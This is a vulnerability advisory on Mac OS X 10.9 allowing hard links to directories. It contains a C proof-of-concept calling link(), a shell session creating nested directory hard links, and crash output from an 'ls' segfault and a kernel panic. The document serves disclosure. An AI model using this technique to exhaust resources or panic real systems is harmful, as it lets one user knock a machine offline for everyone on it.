Apple MacOSX 10.9 Hard Link Memory Corruption

2013-11-08 / 2013-11-21
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 4.7/10
Impact Subscore: 6.9/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

Apple MacOSX 10.9 Hard Link Memory Corruption Date: 08.11.2013 http://cxsecurity.com/ http://cvemap.org/ URL: http://cxsecurity.com/issue/WLB-2013110059 - 0. Description --- In most UNIX-like systems a hard link to a directory is only reserved for the 'root' user when possible at all. In MacOSX 10.6 there was one such a vulnerability (CVE-2010-0105) causing the filesystem being resulting corrupted; the creation of many hard links was the cause. As we can read on WikiPedia (02.11.2013) http://en.wikipedia.org/wiki/Hard_link 'To prevent endless recursion, most modern operating systems do not allow hard links on directories. In addition, hard links on directories would lead to inconsistency on parent directory entries. A notable exception to this is Mac OS X v10.5 (Leopard) and newer, which use hard links on directories for the Time Machine backup mechanism only.' 'Only for the Time Machine' is not True. Let's see quick PoC A plain program performing a system call (link) ---------------------------------------------- mac-cxs-XK:pochd XK$ cat test.c #include <stdio.h> #include <unistd.h> void usage(const char* program) { const char* message = " [src_dir] [target_dir]"; fprintf(stderr, "%s%s\n", program, message); } int main(int argc, char* argv[]) { if (argc!=3) { usage(argv[0]); return 1; } int ret = link(argv[1],argv[2]); fprintf(stderr,"link(3) return= %d\n", ret); return ret; } mac-cxs-XK:pochd XK$ gcc -o test test.c mac-cxs-XK:pochd XK$ ls test test.c mac-cxs-XK:pochd XK$ mkdir DIR1 mac-cxs-XK:pochd XK$ ./test DIR1 Hardlink1 link(3) return= -1 mac-cxs-XK:pochd XK$ mkdir DIR1/DIR2 mac-cxs-XK:pochd XK$ ./test DIR1/DIR2 Hardlink2 link(3) return= 0 mac-cxs-XK:pochd XK$ cd DIR1 mac-cxs-XK:DIR1 XK$ mkdir DIR2/DIR3 mac-cxs-XK:DIR1 XK$ ../test DIR2/DIR3 Hardlink3 link(3) return= 0 mac-cxs-XK:DIR1 XK$ cd DIR2 mac-cxs-XK:DIR2 XK$ mkdir DIR3/DIR4 mac-cxs-XK:DIR2 XK$ ../../test DIR3/DIR4 Hardlink4 link(3) return= -1 ---------------------------------------------- Hardlink1 and Hardlink4 failed instead Hardlink2 and Hardlink3 did not; so which may be the cause? In my opinion we should recognize it as a security flaw and if Apple is not going to fix this vulnerability then someone should change the Wikipedias at least. Operation (functionality) of hard links differs from those described in "Unix Internals: The New Frontiers" book (by Uresh Vahalia) Old unix standards simply prevent to create any hard link to whatever directory for any user (root included). Is that new CWE-DesignError vulnerability or new UNIX style? There may be many possible bad consequences coming out from wrong 'hard link' handling. We will not yet public full description of this problem but we do know that it exists and that it may exhaust kernel/system resources, it may cause application crashes or kernel panics. Let's wait for new MacOSX version. ---------------------------------------------- ---------------------------------------------- - First Result is 'ls' Crash ---------------------------------------------- ---------------------------------------------- mac-cxs-XK:expl XK$ ls -laR B > /dev/null Segmentation fault: 11 ... A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A/A: total 0 Process 14413 stopped * thread #1: tid = 0x90ba, 0x00007fff948f7812 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread, stop reason = EXC_BAD_ACCESS (code=1, address=0xffb21290) frame #0: 0x00007fff948f7812 libsystem_c.dylib`strlen + 18 libsystem_c.dylib`strlen + 18: -> 0x7fff948f7812: pcmpeqb (%rdi), %xmm0 0x7fff948f7816: pmovmskb %xmm0, %esi 0x7fff948f781a: andq $15, %rcx 0x7fff948f781e: orq $-1, %rax (lldb) (lldb) bt * thread #1: tid = 0x90ba, 0x00007fff948f7812 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread, stop reason = EXC_BAD_ACCESS (code=1, address=0xffb21290) frame #0: 0x00007fff948f7812 libsystem_c.dylib`strlen + 18 ... (lldb) register read General Purpose Registers: rax = 0x00000000ffffffff rbx = 0x0000000100004c6a "/%s" rcx = 0x00000000ffb21298 rdx = 0x00000000ffb21298 rdi = 0x00000000ffb21290 rsi = 0x00007fff9497a900 libsystem_c.dylib`__vfprintf.xdigs_upper rbp = 0x00007fff5fbfddd0 rsp = 0x00007fff5fbfddd0 r8 = 0x0000000100004c68 "%s/%s" r9 = 0x00007fff9497a900 libsystem_c.dylib`__vfprintf.xdigs_upper r10 = 0x00007fff9493f348 libsystem_c.dylib`__vfprintf + 18181 r11 = 0x0000000000000000 r12 = 0x00007fff9497a900 libsystem_c.dylib`__vfprintf.xdigs_upper r13 = 0x0000000000000073 r14 = 0x0000000000000000 r15 = 0x00007fff5fbfe5f0 rip = 0x00007fff948f7812 libsystem_c.dylib`strlen + 18 rflags = 0x0000000000010206 cs = 0x000000000000002b fs = 0x0000000000000000 gs = 0x00000000ffff0000 ---------------------------------------------- ---------------------------------------------- - Second Result Kernel Panic ---------------------------------------------- ---------------------------------------------- Anonymous UUID: BF2BRGF1-1900-0E95-96BD-8D02AE097REF Sat Nov 2 01:12:49 2013 panic(cpu 2 caller 0xffffff800c6dc19e): Kernel trap at 0xffffff800c968468, type 13=general protection, registers: CR0: 0x0000000080010033, CR2: 0x0000000163b9b000, CR3: 0x00000000253da06e, CR4: 0x00000000001606e0 RAX: 0xffffff8029733450, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000008000, RDX: 0x0000000000000000 RSP: 0xffffff8136133870, RBP: 0xffffff8136133880, RSI: 0x0000000000000018, RDI: 0xffffff8025e53ce0 R8: 0xffffff8136133afc, R9: 0xffffff8025e54e10, R10: 0xffffff813613390c, R11: 0x000000000000198a R12: 0xffffff80231e8008, R13: 0xffffff8136133a00, R14: 0xffffff8025e53ce0, R15: 0xffffff8025e54e10 RFL: 0x0000000000010282, RIP: 0xffffff800c968468, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x0000000163b9b000, Error code: 0x0000000000000000, Fault CPU: 0x2 Backtrace (CPU 2), Frame : Return Address 0xffffff812d08ddf0 : 0xffffff800c622f69 0xffffff812d08de70 : 0xffffff800c6dc19e 0xffffff812d08e040 : 0xffffff800c6f3606 0xffffff812d08e060 : 0xffffff800c968468 0xffffff8136133880 : 0xffffff800c9698dc 0xffffff8136133a50 : 0xffffff800c7fc9db 0xffffff8136133ab0 : 0xffffff800c7d544b 0xffffff8136133b30 : 0xffffff800c7d4da4 0xffffff8136133bf0 : 0xffffff800c7f0bc2 0xffffff8136133d70 : 0xffffff800c7e8f77 0xffffff8136133f50 : 0xffffff800ca3de23 0xffffff8136133fb0 : 0xffffff800c6f3e06 BSD process name corresponding to current thread: ls Mac OS version: 13A603 Kernel version: Darwin Kernel Version 13.0.0: Thu Sep 19 22:22:27 PDT 2013; root:xnu-2422.1.72~6/RELEASE_X86_64 Kernel UUID: 1D9369E3-D0A5-31B6-8D16-BFFBBB390393 Kernel slide: 0x000000000c400000 Kernel text base: 0xffffff800c600000 System model name: Macmini6,1 (Mac-031AEE4D24BFF0B1) System uptime in nanoseconds: 1129983407371 last loaded kext at 589432405791: com.apple.filesystems.smbfs 2.0.0 (addr 0xffffff7f8e56f000, size 335872) last unloaded kext at 119315749033: com.apple.driver.AppleFileSystemDriver 3.0.1 (addr 0xffffff7f8e429000, size 8192) ... Does the kernel panic correspond to 'ls' ? More details soon. - 1. References --- http://cxsecurity.com/cveshow/CVE-2010-0105/ http://cxsecurity.com/issue/WLB-2010040284 http://cxsecurity.com/issue/WLB-2005090063 http://en.wikipedia.org/wiki/Hard_link http://support.apple.com/kb/HT4435 - 2. Credit --- Maksymilian Arciemowicz ( http://cert.cx/ ) Frist CVE&CWE compatible bugtraq http://cxsecurity.com/ http://cvemap.org/

References:

http://cxsecurity.com/cveshow/CVE-2010-0105/
http://cxsecurity.com/issue/WLB-2010040284
http://cxsecurity.com/issue/WLB-2005090063
http://en.wikipedia.org/wiki/Hard_link
http://support.apple.com/kb/HT4435
http://cert.cx/


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